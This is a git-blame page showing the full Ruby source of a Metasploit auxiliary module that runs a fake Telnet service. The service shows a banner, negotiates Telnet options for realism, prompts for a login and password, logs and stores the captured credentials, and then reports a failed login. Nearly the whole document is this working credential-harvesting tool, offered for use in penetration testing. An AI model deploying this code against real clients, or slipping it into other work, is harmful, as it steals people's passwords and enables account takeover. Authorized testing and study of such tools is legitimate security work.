Files
metasploit-gs/modules/auxiliary/server/capture/telnet.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

165 lines
3.9 KiB
Ruby
Raw Normal View History

2010-05-03 17:13:09 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-05-03 17:13:09 +00:00
##
# Fake Telnet Service - Kris Katterjohn 09/28/2008
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2010-10-09 06:55:52 +00:00
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
def initialize
super(
'Name' => 'Authentication Capture: Telnet',
'Description' => %q{
This module provides a fake Telnet service that
is designed to capture authentication credentials. DONTs
and WONTs are sent to the client for all option negotiations,
except for ECHO at the time of the password prompt since
the server controls that for a bit more realism.
},
2009-04-03 15:05:35 +00:00
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Actions' => [[ 'Capture', 'Description' => 'Run telnet capture server' ]],
'PassiveActions' => [ 'Capture' ],
'DefaultAction' => 'Capture'
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 23]),
OptString.new('BANNER', [false, 'The server banner to display when client connects'])
])
end
2013-08-30 16:28:54 -05:00
def setup
super
@state = {}
end
2013-08-30 16:28:54 -05:00
def banner
datastore['BANNER'] || 'Welcome'
end
def run
exploit()
end
2013-08-30 16:28:54 -05:00
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil,
:gotuser => false,
:gotpass => false,
:started => false
}
end
2013-08-30 16:28:54 -05:00
def on_client_data(c)
data = c.get_once
return if not data
2013-08-30 16:28:54 -05:00
offset = 0
2013-08-30 16:28:54 -05:00
if data[0] == 0xff
0.step(data.size, 3) do |x|
break if data[x] != 0xff
2013-08-30 16:28:54 -05:00
# Answer DONT/WONT for WILL/WONTs and DO/DONTs,
# except for echoing which we WILL control for
# the password
2013-08-30 16:28:54 -05:00
reply = "\xff#{data[x + 2].chr}"
2013-08-30 16:28:54 -05:00
if @state[c][:pass] and data[x + 2] == 0x01
reply[1] = "\xfb"
elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc
reply[1] = "\xfe"
elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe
reply[1] = "\xfc"
end
2013-08-30 16:28:54 -05:00
c.put reply
2013-08-30 16:28:54 -05:00
offset += 3
end
end
2013-08-30 16:28:54 -05:00
if not @state[c][:started]
c.put "\r\n#{banner}\r\n\r\n"
@state[c][:started] = true
end
2013-08-30 16:28:54 -05:00
if @state[c][:user].nil?
2010-10-07 16:22:16 +00:00
c.put "Login: "
@state[c][:user] = ""
return
end
2013-08-30 16:28:54 -05:00
return if offset >= data.size
2013-08-30 16:28:54 -05:00
data = data[offset, data.size]
2013-08-30 16:28:54 -05:00
if not @state[c][:gotuser]
@state[c][:user] = data.strip
@state[c][:gotuser] = true
c.put "\xff\xfc\x01" # WON'T ECHO
end
2013-08-30 16:28:54 -05:00
if @state[c][:pass].nil?
2010-10-07 16:22:16 +00:00
c.put "Password: "
@state[c][:pass] = ""
return
end
2013-08-30 16:28:54 -05:00
if not @state[c][:gotpass]
@state[c][:pass] = data.strip
@state[c][:gotpass] = true
c.put "\x00\r\n"
end
2013-08-30 16:28:54 -05:00
print_good("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "\r\nLogin failed\r\n\r\n"
report_cred(
ip: @state[c][:ip],
port: datastore['SRVPORT'],
service_name: 'telnet',
user: @state[c][:user],
password: @state[c][:pass]
)
c.close
end
2013-08-30 16:28:54 -05:00
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
2013-08-30 16:28:54 -05:00
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
2013-08-30 16:28:54 -05:00
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
2013-08-30 16:28:54 -05:00
def on_client_close(c)
@state.delete(c)
end
end